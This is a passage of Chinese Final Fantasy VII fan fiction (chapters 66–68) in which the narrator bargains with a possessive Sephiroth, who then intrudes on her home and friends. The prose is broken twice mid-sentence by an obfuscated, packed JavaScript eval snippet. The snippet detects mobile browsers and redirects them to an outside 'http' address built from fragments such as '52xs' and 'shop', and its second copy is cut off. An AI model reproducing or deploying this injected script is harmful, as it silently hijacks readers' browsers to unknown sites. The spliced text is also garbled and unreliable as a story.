他们的时间线是相反的,对少年萨菲罗斯来说,她给予对方希望后又选择了星球;可对于她来说,是萨菲罗斯在尼布尔海姆抛弃了自己,亲口否认了那些美好的、炽热的、支撑她走下来的事物,告诉她自己的所爱着的不过是一个谎言。 “封印我记忆的人是你,送我回到过去的人也是你,是你自己选择成为神明,而不是因为我。”她没有被对方的逻辑绕进去,杰诺瓦是非常狡猾的生物,哪怕是在这种情况下也会处处布下陷阱,“哪怕没有我的存在,你的选择也不会改变。” 她不会去评判萨菲罗斯的对与错,毕竟这在本质上是神罗种下的恶果,换做是她自己也会做出同样的选择,但理解不意味着接受。被打碎的魔石即便经过修复也不再是原来那颗,想要使用就得重新适应,从头开始。 “归根到底,这是你亲手造就的局面。”她无视了四周异常的空间波动,“我本来只是星球上一个普通的人类而已。” 萨菲罗斯停下脚步,神色里辨不出喜怒。但这一次他并没有反驳,看起来也没有反驳的打算。 “所以,”她直视着那双星云般的竖瞳,“我们不如从根源开始解决矛盾。” “比如?” “我们不希望这颗星球毁灭,但杰诺瓦需要进食。或许我们可以先探讨一下你的……”她顿了一下,努力寻找合适的措辞,“食材问题。” 萨菲罗斯并没有回答,纤长而细密的睫毛为不可察地颤了颤,遮去眼底的神色。自尼布尔海姆事件之后,杰诺瓦之子便抛弃了属于人类的情感与道德束缚,自然也不会再有痛苦与不快,她无法判断对方唇角的弧度到底意味着讽刺亦或是愉悦。 “只吃掉三分之一的世界线可以吗?那些崩溃或者是失败的。”她认真地问,“实在不行的话,W.R.O有能力打造宇宙航行的工具,寻找其他星球应该不会太难。如果杰诺瓦需要的只是星球的能量,那么没有智慧生命的星球也可以食用吧?” 银发的灾厄抬起眼帘,语调平缓轻和:“我以为你会试着阻止我。” “我不会对你抱有建立在否认你本身上的要求。” 她确实考虑过这一点,但毁灭与吞噬是杰诺瓦的天性和本能,也是萨菲罗斯认可的道路,让他停手无异于让神罗把所有财产捐出去做慈善——或许后者的可能性还大一点。 狭长的竖瞳宛如骤然扩张的深渊,专注得近乎将她吞没。半晌过后,萨菲罗斯很轻地笑了起来。 低沉而愉悦的笑意。 但通常能让他感到愉悦的,对其他人来说都不是什么好事。 她忽然有种不妙的预感。 “杰诺瓦以星球的能量为食,人类不过是食物上泛滥的虫子。”萨菲罗斯低下头,动作亲昵地捧起她的脸,指腹轻轻摩挲着柔软的唇角,“你的推测确实没错。” “所以,”他语调温柔,“被星球祝福的人,继承星球的力量,同样可以作为「食物」。” ……现在逃跑还来得及吗? 66.第 66 章 ——当然是来不及的。 这里是萨菲罗斯创造出的世界,一切为他的意志所掌控,只要他不愿意,没有任何人能够进出。 “……我前面说的话,”她冷静地开口,“你到底听了多少?” 在面对大型的捕食者时,不能表现出任何恐惧或是不安,也不能被对方的逻辑和行为牵着走,否则就会被敏锐的猎人察觉并咬住弱点。她挡开萨菲罗斯的手,后退一步拉开两人之间的距离。 银鳞的巨蛇没有阻止,只是不远不近地盘绕在她的身侧,圈出一小块给猎物自由活动的空间。 “如你所愿,这颗星球还没有毁灭。”萨菲罗斯慢条斯理地回答,“而我也得到了我想要的。” 不,你没有。 她弯起一道礼貌的弧度:“那么现在我可以回去了吗?” 银发的灾厄莞尔一笑。 答案是不行。 可以,这很杰诺瓦。谈判半天得出的结论是她可以食用,把她留下换星球暂时的安全。 杰诺瓦没有人类的日常需求,所以这是一个只有观赏性没有实用性的世界。她环顾四周,看着眼前的废墟和荒野陷入短暂的沉默。 “……我住哪里?” 虽然半神的体质和杰诺瓦相差无几,但她也需要定期休息,总不能每天睡在一堆花花草草上面,当年杰内西斯好歹都有个矿洞。 萨菲罗斯侧了侧头,原本停滞的风重新开始流动。她顺着对方的目光望去,湖边不知何时出现了一座两层的小屋,和她在现实世界的房子一模一样。熟悉的花园与露台,燃烧的壁炉和温馨的布置,连冰箱里食材的种类和分量都精准无误。 她决定不去思考萨菲罗斯为什么知道得这么清楚,有些事情还是假装没发现比较好。 “你还能创造出其他东西吗,比如金蝶乐园?” 她咬了一口桌子上洗干净的草莓,新鲜清甜,汁水饱满。眼前的一切并不是幻像,而是一条真实存在的世界线。 “如果你想要的话。” 萨菲罗斯不紧不慢地跟在她身后,客厅已经算得上是宽敞,但特种兵的体型和天然的压迫感令整片空间产生逼仄窒息的错觉。漆黑的单翼无法在室内完全伸展,弯折收起垂在一侧。 直觉告诉她这座房子的布局有些许奇怪,当她回房准备休息时,答案才姗姗来迟地跳进脑海——原本位于一楼的客房变成了堆满魔晶石的储物室,唯一置有床铺的地方只剩下二楼的主卧。 “晚安,萨菲罗斯,”她当着对方的面毫无留恋地关上房门,“虽然这里只有黑夜。” 这个世界没有太阳,她的生物钟不起作用,对自己睡了多久自然也没有概念。醒来之后银发的灾厄已经不见踪影,仅剩门边几片细碎柔软的翼羽。 她可以不被打扰地做任何想做的事,甚至一直走到世界尽头。萨菲罗斯并非一直待在这片空间里,大部分时间都在其他世界线中,平日多数出现在书房,又或者在废墟边缘眺望天际的星河。他时不时会带回食物和魔石,像只正在筑巢又行踪不定的大型猫科动物。 并非每个世界都会坐以待毙,所以外出狩猎的捕食者偶尔会回来得很晚。银发单翼的身影靠在湖边的巨石上闭目养神,丝绸般的发丝如皎洁月色倾泻而下,少有的宁静神色削减去几分惯有的侵略性和压迫感,如同一尊屹立于断壁残垣间的神像。 随风而来的金百合花香掩盖了淡淡的铁锈味,萨菲罗斯大概真的在睡觉,又或者正陷入沉思,对她的接近毫无反应。她犹豫了片刻,最终还是没忍住伸手抓起一缕柔顺的银白,感受冰冷丝滑的触感流过指间。 柔软的发丝被她编成一条极长的麻花,顺从地垂在身后,杰诺瓦细胞的完美造物拥有着无可挑剔的昳丽容貌,哪怕在这种情况下也不显分毫违和。她曾经无数次做过同样的事,但那是在尼布尔海姆的火海燃起之前,他们一起计划着平凡而又美好的未来的时候。 可惜萨菲罗斯的出身注定了他不会平凡,神罗创造出凌驾于万物之上的神,而自古以来,从圣坛陨落的神明都被称为灾厄。总裁临死前的评价确实没错,当时的她感情用事,缺乏远见,因此最终亲手葬送了自己和曾经的爱人。 眼前曾经多次灭世的灾厄依旧一动不动,似乎完全察觉到她的存在和举动。出于某种诡异的报复性心理,她的胆子越来越大,这次把手伸向了漆黑的单翼。 对于这种看起来就手感很好的东西,她向来没有什么抵抗力。早在杰内西斯和安吉尔劣化的时候,她就借口实验采样触碰过他们的翅膀,唯有萨菲罗斯的一直找不到机会,也没敢开口。 巨大的单翼厚实而又有力,层层叠叠的羽毛外侧坚韧,内侧柔软,比她想象中和所接触过的都更为光滑柔顺,在星光下顺着细微的纹路泛起虹彩般绮丽的色泽。当她拂过翅膀根部轻而软的绒羽时,漆黑的羽翼开始微微颤动,而后缓缓舒展开来,像鸟类展示自己的羽毛。 哦不,等等,为什么它动了? 她猛然回过神,但为时已晚,刚抬起头便对上一双碧绿的竖瞳。翅膀的主人不知什么时候苏醒过来,正噙着笑意望向她,神色中藏有几分不易察觉的克制。 “抱歉……”她悻悻地收回手,有种偷偷摸了别人的猫被抓个正着的心虚,“是不舒服吗?” “啊,”萨菲罗斯懒洋洋地抬手撑起脸,“那倒不是。” 作为曾经的神罗1st,银发特种兵的自制力向来堪称可怕,因此从他近乎条件反射的反应来看自己的触碰显然产生了很大影响。她有些困惑:“那是因为什么?我印象中……” 银发的灾厄语气淡淡:“印象中什么?” 印象中杰内西斯和安吉尔就从来没有什么反应,所以她一直以为单翼没有太多知觉。但理智和求生欲让她没有把事实说出口,而是硬生生改成了:“……你的翅膀可以自由出现或消失,我还以为不是实体。” 话语中欲盖弥彰的味道太过明显,对方又是天然敏锐的猎手,这点拙劣的谎言自然起不到什么作用。萨菲罗斯大概已经猜到了真相,很轻地笑了一声,眼底却不见任何笑意。 银白的长辫自动散开,柔软的发丝重新垂落肩头。她开始思考自己的速度要多快才能避开一把两米的刀,半神的身体又能不能像杰诺瓦一样被大卸八块后能够再聚合。 这些反应自然被身旁的人尽数收入眼底,萨菲罗斯屈指抵住唇畔,饶有兴致地看着她:“看来在这方面你对所有人一视同仁。” ……她觉得自己这种看到什么都想摸的毛病是时候改一改了,什么物种都摸只会害了她。 见她沉默,他也没有在意:“看来你依然没有接受我的提议。” “……我们对于‘提议’的理解好像有些不同。” 萨菲罗斯听出了她的言外之意,神色变得有些古怪,好像她说了什么匪夷所思的、诸如“星球是方的”之类的话:“在双方力量不对等的条件下,我只是提出条件,并没有强迫你,以人类的标准不就是‘提议’么?” 他杰诺瓦的,这也行? 她不理解,但她大为震撼:“你不让我离开。” “我在给你不被干扰的考虑的时间。”星球灾厄的语气理所当然,不带半分嘲弄或戏耍。杰诺瓦有着属于自己的一套逻辑和认知,他这些话大概真的发自内心。 她是不是还要谢谢他? “你……我……算了。” 她终于知道为什么克劳德每次和对方说话不超过三句就忍不住拔剑,即便萨菲罗斯认为自己是在正常交流,说出来的话也会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14328573|131107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 令人血压高涨。 “如果现在拒绝你,我可以回去吗?” “这里没有多余的人类,星球也还没毁灭。”萨菲罗斯把问题还给了她,“自由而平静的生活,这不是你——和我们一直想要的么?” “这是我和过去的「你」的愿望,”她纠正,“你已经抛弃了和我许下约定的那个人。” 她可以为了「英雄萨菲罗斯」抛下整个世界,去遥远到足以不受任何人打扰的地方开始新的生活。但是在发生这一切以后,在得知自己的爱曾经建立在谎言和阴谋之上以后,她无法装作什么也没有发生,和眼前的人继续编织美好的旧梦。 曾经的美好和欢愉真实存在,目睹末日的痛苦和绝望也真实存在。无数悲喜哀怒交织在一起,时至今日仍在拨动她的心弦。 萨菲罗斯否认过去的自己,利用过去的自己,无论是那个为她许下愿望的少年,还是应约前来守护她的英雄。 ——那么她爱的到底是从英雄走向灾厄的那个完完整整的人,还是因为昙花一现的英雄才爱上曾经毁灭星球,为她带来绝望的灾厄? 她爱的是萨菲罗斯,还是萨菲罗斯的影子,曾经存在的一部分? 她分不清,所以也无法给出回应。那颗破碎的魔晶石最后还是被她捡了回来,但是还没重新适应怎么去使用,也没有想好还要不要继续使用。 “而且,我现在有在乎的朋友们,”她说,“我不想抛弃他们,我答应过会回去。” “人类的寿命有限,你那些宝贵的朋友们无法陪你走到最后。”萨菲罗斯的声音里透着耐心又危险的轻柔,如同藏在鲜艳花纹下的毒牙,循循善诱猎物投身陷阱,“在这颗星球毁灭之前,你会看着他们一个一个离你而去。” “那就等到他们离开的那一天,再做考虑吧。” 鲜花会有凋零的那一天,但人类不会因此拒绝这种存在,反而因为短暂的花期而更加珍惜它的盛放。这是拥有无尽时间和毁灭欲望的杰诺瓦所不能感同身受的。 “我可以选择自己的生活和道路,在拥有拒绝权利的条件下,我的选择才有意义。”她望进那双熟悉的、绮丽的竖瞳,“对你也一样,萨菲罗斯。” 晚风再次停滞,取而代之的是令人窒息的沉默,如同厚重而粘稠的河流在两人之间流淌。 萨菲罗斯唇角的笑意分毫未变,良久过后,他缓缓开口:“没关系,我们还有很多时间。” “等到这颗星球走向终点,等我们到达永恒。”他用某种诱哄猎物般的,耐心而温柔的语调说道,“你会明白——你的选择唯有我。” 她没有反驳。毕竟他们确实还有很多时间,无论最终的答案是离开还是留下,她都有足够的时间去考虑和准备。 不过杰诺瓦提前毁灭星球的可能性并不为零,所以她想了想,又补充了一句:“我有空会来这里找你的,但是你要告诉我怎么走……” 萨菲罗斯看了她一眼,似笑非笑:“很惊讶你居然真的没有尝试过逃走,否则你就会意识到自己拥有杰诺瓦的部分权能。” 她:“啊?” 她顿了顿:“什么时候……?” 不等对方回答,她便回想起在陨石灾难发生时,萨菲罗斯的意识曾在生命之流里轻轻地咬了她一口。 所以她现在到底是个什么东西,星球意志和杰诺瓦的混合体吗? “不是我不想尝试,”她诚恳地说,“是我不识路,就算离开了也不知道怎么回去。” “……” 银发的灾厄沉默了片刻,在她身后打开一道时空裂缝。 她觉得杰诺瓦偶尔人也怪好的。 当萨菲罗斯跟在她身后回到现实世界,把边缘城外围的无辜路人吓得四散奔逃后,她收回了这个想法。 67.第 67 章 “你挂念的白苹果派。”杰内西斯把新鲜出炉的甜点放到她面前,烤至酥脆的外皮上浮起一阵携卷着诱人香气的白雾。红发青年的语调里带着某种刻意而又诡异的温柔,如同歌剧中抑扬顿挫的吟诵,“非常感谢你带回来的礼物——一个珍稀的、活着的、随时谋划毁灭星球的杰诺瓦,我已经迫不及待想要和大家分享这份喜悦了。” “不客气,你开心就好。”她回以一道彬彬有礼的微笑,咬下一口香甜温热的点心,“看到曾经的偶像和挚友安然无恙,想必你也非常欣慰吧。” “当然了,”杰内西斯相当绅士地将抹茶蛋糕切成均匀的小份,替她盛入餐碟,“毕竟需要处理一堆历史遗留问题和情感纠纷的人又不是我。” “事已至此,”在她开口之前,安吉尔抢先一步捧着果汁在两人中间落座,脸上带着令人无法拒绝的的温和笑意,“我想我们还是先吃饭吧。” 自从离开了神罗以后,黑发的前1st看起来年轻了不少,更加接近他的真实年龄。这两年来安吉尔和杰内西斯处于半退隐的状态,但W.R.O显然不愿错失任何一个人才,在报道上以英雄的名义宣扬两人的事迹,并以资助巴诺拉村重建作为条件维持着长期的合作。 为了替自己的商业帝国铺平前路,路法斯毫不吝啬地向所有受过星球的祝福或庇护的人抛出橄榄枝,甚至放弃追究雪崩组织和前神罗的恩怨,只为防止灾厄卷土重来。事实证明他的担忧完全正确,米德加废墟闹鬼的传闻短短几天就遍布了整个边缘城,不止一人声称亲眼看见已故多年的神罗英雄,如今故事已经演变为“尼布尔海姆恶灵从另一个世界归来,所过之处皆会留下漆黑诅咒”。 造成这个局面的罪魁祸首自然是跟着她回到现实世界的萨菲罗斯。 尽管她及时拉着银发的灾厄躲进一旁的废墟,还是惊动了几名出城的路人。偏偏最不应该出现在这里的外星生物毫无自知之明,还明知故问:“为什么要躲?” “因为我不想引发第二场战争。”她试图对方塞进残恒的阴影里,可惜杰诺瓦不是猫,既没办法也不会缩成一团,“你跟着回来做什么?” 他理所当然:“这是我的世界。” ……有理有据,无法反驳。 眼见有不怕死的人靠近废墟,她连忙扯了扯漆黑的单翼:“快藏起来,去北方大空洞还是什么地方都好,别被人发现也别毁灭世界就行。” 萨菲罗斯看了她一眼,对此无动于衷。 她又戳了戳对方的翅膀:“算我求你的。” 银发的灾厄弯起唇角,转身如同一道阴影般融入黑暗当中,余留几片鸦黑的落羽。她松了一口气,还没想好要怎么把这件事告诉其他人,一回到家便看见四道僵持不下的身影。 ——准确来说,陷入僵持的只有三名思念体。 杰诺瓦群体中大概存在着上位者对于下位者的绝对压制,角落里的三名少年如临天敌,骤然收缩的狭长竖瞳仿佛横贯于碧绿湖面上的细针,近乎凝固的身形保持着随时准备抽出武器的动作。萨菲罗斯姿态悠然地坐在客厅中央的沙发上,唇角噙着嘲弄而又愉悦的笑,宛如盘踞在领地中的大型猛兽,一边游刃有余地看着年轻的挑战者,一边尽情享受对方的恐惧。 紧绷的氛围如同拉到极限的琴弦,而她的到来奏响了失控的音符。 “姐姐,你回来了。”亚祖回过头,看似冷静的语气里透出几分不易察觉的克制,“抱歉,我们处理完这件事就去准备晚餐。” 单翼的捕食者冷笑一声,无形的压迫感在空气中流淌,缓慢侵占每一个角落。 她看了看三名少年,又看了看萨菲罗斯,咬牙切齿道:“你能瞬移回来为什么不带上我?米德加废墟离这里有十几公里的路程!” 停顿片刻后,她忽然意识到了什么:“……不对,你怎么会在我家?” “这个问题交由他们回答或许更加合适。”萨菲罗斯漫不经心侧过头,稠丽的音线下是不加掩饰的恶意,“既然造物主已经回到了这里,那么仿制的消耗品自然不再有存在的必要。” 空气中那根超出极限的琴弦彻底断裂。卡丹裘像只被踩中尾巴的猫一样猛然抬起头,然而残存的理智在最后一刻将他从捕食者的陷阱边缘拉回。 “这里是我们的家。”少年音线清冷,“不被邀请的人才不应该出现在这里。” “哦?”银发的灾厄仿佛听到了什么有趣的话语,“我是她的伴侣,无需像流浪的猫狗祈求主人收留。至于你们——” 他莞尔一笑:“如果现在摇尾乞怜的话,我倒是可以考虑留下几只听话的宠物。” 头顶的灯泡发出一阵令人牙酸的爆裂声,闪烁几下过后彻底熄灭。整个客厅被暮夜的黑暗吞没,碧绿的竖瞳如同点点浮动的磷火。 人类脆弱的房屋果然还是不太适合养杰诺瓦这种破坏性极强的生物,她一时间不知道应该先把哪一边赶出去,还是全部打包送走。继承了萨菲罗斯部分性格与思维的思念体自然不会就此屈服,亚祖悄无声息地走到她身旁:“姐姐已经有伴侣了,并不是你。” 她的大脑停滞了。 “她亲口承认过。”亚祖语气平静,“那两个人类身上还有作为她伴侣的信物,而你没有。” 她悬着的一颗心终于是死了。 碧绿的竖瞳微微眯起,萨菲罗斯的神色半隐在黑暗当中,辨不出喜怒。半晌过后,银发的身影望向她,弯起唇角:“看来这孩子对你有些误会呢,不是么?” 什么叫搬起石头砸自己的脚,这就叫搬起石头砸自己的脚。无论回答是或不是,这座房子都有当场倒塌的风险,她沉默了片刻,决定终止这个逐渐失控的话题。 “这是我的房子。”她面无表情,“要吵要打就出去。” 半空的磷火摇曳浮动,不约而同地转向她所在的方向。罗兹的声音开始哽咽:“可是……我们只是想见到母亲……明明是那个人……” 她回想起自己的账户余额,心如铁石:“不管是谁,在我回来之前把弄坏的东西全部修好,否则就回生命之流住吧。” 罗兹的哭声戛然而止,萨菲罗斯漫不经心地侧了侧头,寂静的客厅里只剩下指节轻叩沙发扶手的声响。虽然以双方的实力来看,被送回生命之流的更可能是她,但在这种事情上气势绝对不能输。 “……我们明白了,姐姐。”亚祖缓慢地眨了眨眼,“我们马上去补充物资。” 罗兹又开始抽泣:“我不想——” “不,你想去。”卡丹裘不由分说地将他拉走,“别哭了,罗兹,姐姐不喜欢碍事的人。” 又是一声熟悉的脆响,门厅的灯泡也坏了。 现在追究元凶是谁已经没有意义。直觉告诉她这种情况下不适合和客厅里的外星生物独处——倒不是怕萨菲罗斯对她做什么,而是担心自己忍不住动手。 初冬的晚风冰冷刺骨,短暂吹散了繁杂的思绪。亚祖的声音随风而至:“姐姐,您打算去哪里?需要我们送您吗?” 等待答案的不止三名思念体少年,落在她背后的视线有如实质,仿佛一只无形的手攥紧跳动的心脏。天生的大型捕食者哪怕什么也不做,只是以目光锁定眼前的猎物,也足以引起本能的预警。 “去找我那两位既不会破坏家具,也不会在家打架的——”她没有回头,冷静地像是在讨论今天的晚餐,“怎么说来着,哦对,人类伴侣。” 晚风凝滞了一瞬。 好在她的房子并没有被正宗一分为二,她也还完整地活着。 红发红衣的青年半倚在门边,不知已经看了多久,待她走近时才不紧不慢地放下手中的诗集:“怎么,这次捡了个大的回来?” 她没有理会对方的嘲讽:“如果我明天被萨菲罗斯砍成碎片的话,你会像以前一样把我拼回来吗?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14389748|131107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“——女神开弓,箭矢尽失。”杰内西斯瞥了她一眼,冷淡地回答,“不是很想。” 安吉尔朝他投去谴责的目光。 晚餐很丰盛,自从来到这个星球以后,她已经很久没有体会过“家”的感觉了。杰内西斯今晚贴心得像是被不明生物夺舍,上次见到他这种态度还是神罗时期处罚不听指挥的新兵,她提心吊胆地确认对方没有在蛋糕里下毒,小心翼翼地咬了一口。 辛辣呛鼻的气味瞬间涌入味蕾,下一秒她剧烈地咳嗽起来。 ——绿色的蛋糕不一定是抹茶,也可能是芥末。 “……杰内西斯!” 红发青年敏捷地旋身避开,还有余力弯起唇角:“真是抱歉,忘记提醒你了。” “年轻真好,还能保持童趣。”安吉尔见怪不怪地叹了口气,仿佛在一瞬间老了十岁。他默默地把桌子上的餐点挪开,防止被两人之间的战争波及。 这场让人看了能够年轻二十岁的闹剧最终以杰内西斯崭新的外套皱成一团告终。安吉尔委婉地告诉她这一切其实是个误会,出身巴诺拉地主阶级的公子哥从来没下过厨,被喊去帮忙时很不幸地没有分清调好的抹茶奶油和隔壁碟子里的芥末。 她连忙配合地宽慰道:“蛋糕做得很好,下次不要再做了。” 红发青年对此的回应是一声气急败坏的冷笑。 第二天回到家时,门廊和客厅的灯已经全部换好,房屋里整洁安静得像昨晚的纷争不曾发生。萨菲罗斯不见踪影,三名思念体等在门边,在开门的瞬间整齐划一地转头望向她,像是被响声惊动的猫。 她依次摸了摸三名少年的头,尽量保证自己的手在每个人头顶停留的时间一致,否则罗兹会因为担忧自己被讨厌或忽视红了眼眶。她本以为经过昨晚的争吵后,被扔在家里的外星灾厄早就已经离开,不曾想刚踏上二楼便在书房看到一抹熟悉的银白。 萨菲罗斯站在落地玻璃前,似乎正望着远方的天际出神,单手漫不经心地把玩着什么。初晨的光辉为杰诺瓦的完美造物镶嵌上一层耀眼的金,映得垂在身后的皎白发丝熠熠生辉。 “你似乎很享受他们的依赖。”他侧过头,轻缓的语气里辨不出喜怒,“你认为留下这几个思念体就能改变他们的本性么,就像你对曾经的‘我’没能做到的那样。” “那倒不是。”她看见楼梯口冒出三颗白色脑袋,注意到她的目光后又飞快地缩了回去,“他们的确很像你,但我这么做并不是因为你。” 碧绿的竖瞳安静地看着她,在阳光下闪烁出宝石般的绮丽光泽。 “只是因为我知道亲眼目睹故乡被毁,无家可归是什么感觉。”她平静地说,“而且把他们送到这个世界的人不正是你自己么。” 明明在生命之流时还想要和她创造新生命,现在真的有了三个近乎亲生的孩子,他又不满意。 杰诺瓦的思维果然难以理解。 萨菲罗斯意味不明地弯起唇角:“所以你打算一直留着这三个思念体。” “不然谁给我做饭、洗碗和打扫卫生?我是他们的雇主,住在我家不是免费的。”她接住一缕飘落的翼羽,忍了忍,最终还是没忍住,“你能不能不要整天掉毛?每次都要清理真的很麻烦。” 想了想,她又放缓了语气:“要是营养不良的话你可以多吃一点,但是也不要太多,不然星球会找我麻烦。” 萨菲罗斯看了她一眼,没有回答。银发的灾厄将手里把玩的物件放在一旁的装饰架上,随后化作黑紫色的雾气悄无声息地隐没在阴影当中,不知道是真的听取了她的建议,还是单纯在表达自己的不满。 她转过头,一颗熟悉的黑色魔石静静地躺在展示柜里,在阳光下折射出妖冶而危险的流光。 ……如果她没认错的话,那颗能够召唤陨石毁灭星球的黑魔石,就这么被萨菲罗斯像某种廉价的工艺品一样随手放在了书房的展示架上。 68.第 68 章 大海离边缘城很远。 咸腥的海风驱赶着翻涌的浪潮,缀着白沫的浪花不断绽放又凋零,在乌黑的礁石上奏响一曲混乱无序的乐章。她让亚祖先回去的时候,少年明显迟疑了片刻,最终还是什么也没问。 她本来想在这里等待日落,可惜傍晚时分天气突然由晴转阴,铅色的乌云密布天际,沿着地平线与灰蓝的汪洋融为一体。虽然没能看到预想中的余晖,但风雨来临前的海也有着另一番截然不同的风景,如同即将苏醒的古老生物,随时准备展开一场肆虐的狂欢。 手中透明的晶球倒映出天空与大海,看起来就像一颗小小的蓝色星球。冰凉的细雨落在魔石光滑的表面,每一颗水珠都折射出相同的景致,如同无数个不断延伸又陨落的平行世界。 爱丽丝说这颗魔晶石依旧可以许愿,只要使用者的意志足够强大,便能再次诞生实现愿望的力量。 但她不知道自己的愿望是什么。 这个世界上有能够逆转生死的力量吗?她不清楚。不过她明白哪怕这种力量真的存在,带回来的也只是一个由执念造就的虚假泡影,不再是原来那个人。 晶体与水珠上的微小世界忽然被阴影覆盖,萨菲罗斯不知何时出现在她身后,漆黑的单翼伸展回折,替她挡下半数的雨滴。银发的灾厄低下头,平缓稠丽的音线中辨不出情绪:“你想回去?” 她不知道对方指的是回到故乡,还是回到过去,但二者都不是她想要的。既然她选择了现在这个结局,就不会后悔,余下的选择唯有一直往前。 “……不。” 她摇了摇头,将那颗剔透的魔石放在眼前。透过晶体所见的世界上下颠倒,浪潮在空中翻涌,海鸥在地面翱翔,一切变得荒诞又美丽。 “在我原来的世界里,海洋占了地表面积的百分之七十一。所以那颗星球看起来是蓝色的,非常漂亮,你应该见过。” 曾经毁灭星球的灾厄没有回答。巨大的单翼似乎往她的方向收紧了一些,水滴顺着层层叠叠的黑羽滑落。 “传说海底还有一座沉没的古城,人们称之为亚特兰蒂斯。”她顿了顿,“我本来想在离开神罗后把这一切都慢慢告诉你,我的星球很普通,但是我觉得你会喜欢。” 萨菲罗斯向前一步,背后遮天蔽日的阴影将她彻底吞没。覆盖着黑色皮革的手悄无声息地攀上她的肩头,如同冰凉的爬行动物蜿蜒滑过,为猎物注入麻痹神经的毒素后一点一点地收紧。 “那么现在呢?” “现在……这些都没有意义了。”她轻声说。 杰诺瓦拥有天生的毁灭欲和破坏欲,再美丽的星球在它们眼里也不过是食物。对现在的萨菲罗斯来说,大概只会感到无聊吧。 “所以,”萨菲罗斯用的是陈述句,“你想要过去的「我」。” 她既没有肯定,也没有否认。 覆盖在肩上的手骤然收紧,仿佛想要嵌入她的肉与骨,与她彻底融为一体。直到她无意识地皱起眉,身后的人才稍微收敛了力度。 “很遗憾,那个无知而又无能的「我」什么也保护不了。”银鳞的巨蛇将她圈在怀里,唇角的笑意如细密的雨点般寒凉,“啊,甚至无法将你带到我身边。” “这就是你想要的吗?”她想起书房那枚黑魔石,“哪怕我并不爱你,只是因为星球向你妥协。” “没关系。”萨菲罗斯微微俯身,银白的长发如同一张柔软绵密的网,沿着她的脸侧滑入颈窝。杰诺瓦没有体温,话语间冰冷的吐息如同柔软的蛇信,轻而柔地舔舐着猎物的耳廓,激起一阵本能的战栗,“我们的命运比爱恨更为长久。” 汹涌的浪潮似乎越过礁石,将整个世界吞入海底。她仿佛坠入了传说中的海底之城,与古老的王国一同归于窒息的沉寂。 半晌过后,她才再次开口:“在那之前,你能不能先让我一个人待着?” 萨菲罗斯莞尔一笑,既没有答应,也没有拒绝。 “无论过去还是未来,”缠紧猎物的蛇在她发间落下轻而眷恋的一吻,温柔的语气似是威胁,亦似诱哄,“你都属于此刻的我,也只属于此刻的我。” 她回过头。 银发的身影已经隐没在雨幕当中,唯有脚边打湿的落羽证实方才发生的一切并非幻觉。 …… 笑容不会消失,只会转移。 自从萨菲罗斯回到现实世界后,克劳德本就为数不多的笑容便全部转移到了他的宿敌脸上。金发的青年花了好长一段时间才接受灭世的灾厄主动上缴作案工具这一事实,暂时打消把对方送回生命之流的想法。 黑魔石本就是这个世界的产物,她觉得还是交给星球选定的英雄保管比较好。万一哪天自己和萨菲罗斯撕破协议,克劳德也有能力阻止对方。 金发的青年将右手中的黑色魔石换到左手,又飞快地换回右手,好像那颗光滑的晶体带着某种令人难以忍受的温度,再多停留一秒就会被灼伤。他本来还想说些什么,但最终还是在其他人鼓励的目光中收下了这份信任。 “……我知道了,我一定会保护好魔石。” “对了,”爱丽丝竖起一根手指,语气里带着少有的严肃,“今天喊大家过来不止是因为萨菲罗斯哦。” 少女从教堂中央捧起一汪泉水,原本澄澈的液体中荡开着丝丝缕缕黑雾状的杂质,仿佛有生命般顺着指缝飞快逃走。而类似的存在正不断地从泉眼中蔓延,如同缓慢滋生的病毒,一点一点蚕食着治疗之泉。 “最初我以为是星痕,但是它在萨菲罗斯回来的那天就已经消失了。”爱丽丝掌心亮起翠绿的光芒,水中的黑雾短暂消散,很快又卷土重来,“后来我才发现它来自其他世界,顺着生命之流进入泉水。哪怕我终止召唤,它们也会继续蔓延。” 她将手放入泉水,那些诡异的雾气瞬间如同闻到血腥味的鲨鱼一般朝她聚集,扎克斯见状连忙把她拉了回来。 “啊,”她愣了一下,“它对人体有害么?” “目前倒没有……它对普通人没有效果,但是能够治疗劣化。”蓝眼睛的小狗摸了摸后脑的碎发,“像你这样的情况还是第一次见。” “……治疗劣化?” 她几乎以为自己听错了,连一旁的克劳德也睁大了眼睛。 “嗯,”爱丽丝点点头,但眼底的担忧更加浓郁,“可这并不一定是好事。” 她很快便明白了爱丽丝为什么会这样说。 尽管W.R.O的政策比神罗要温和许多,但边缘城的贫富差距依旧存在。大部分出现劣化的人无力担起治疗的费用,只能在靠近米德加边缘的旧城区苟延残喘,久而久之这里变成了他们的安身之地,每日伴随着混乱与死亡。 教堂的泉水本身无法治愈杰诺瓦细胞带来的劣化,只能为他们争取短暂的时间。直到那种黑雾般的杂质涌现,第一个饮下黑水的病人在一夜之间痊愈,于是世界各地拥有杰诺瓦细胞的人都朝这里聚集。 这本应是一个奇迹。 痊愈的人重新拥有健康的体魄,不必再日复一日的异变中化为怪物。她从那些人眼中看见了发自内心的喜悦,但那种喜悦太过强烈,已经接近狂热,甚至掩盖了他们原本的意志。 好像被治愈的只是一具空荡的皮囊,其中的灵魂已经不复存在。 这种感觉在进入旧城区时更为强烈。当爱丽丝把物资送到医疗区时,四周的人纷纷停下动作,不约而同地将目光转向他们。浸泡过魔晄的瞳孔会呈现出奇异的蓝绿色泽,被这些相似的眼瞳注视着时,会产生某种怪异的错觉,就好像它们来自同一个人。 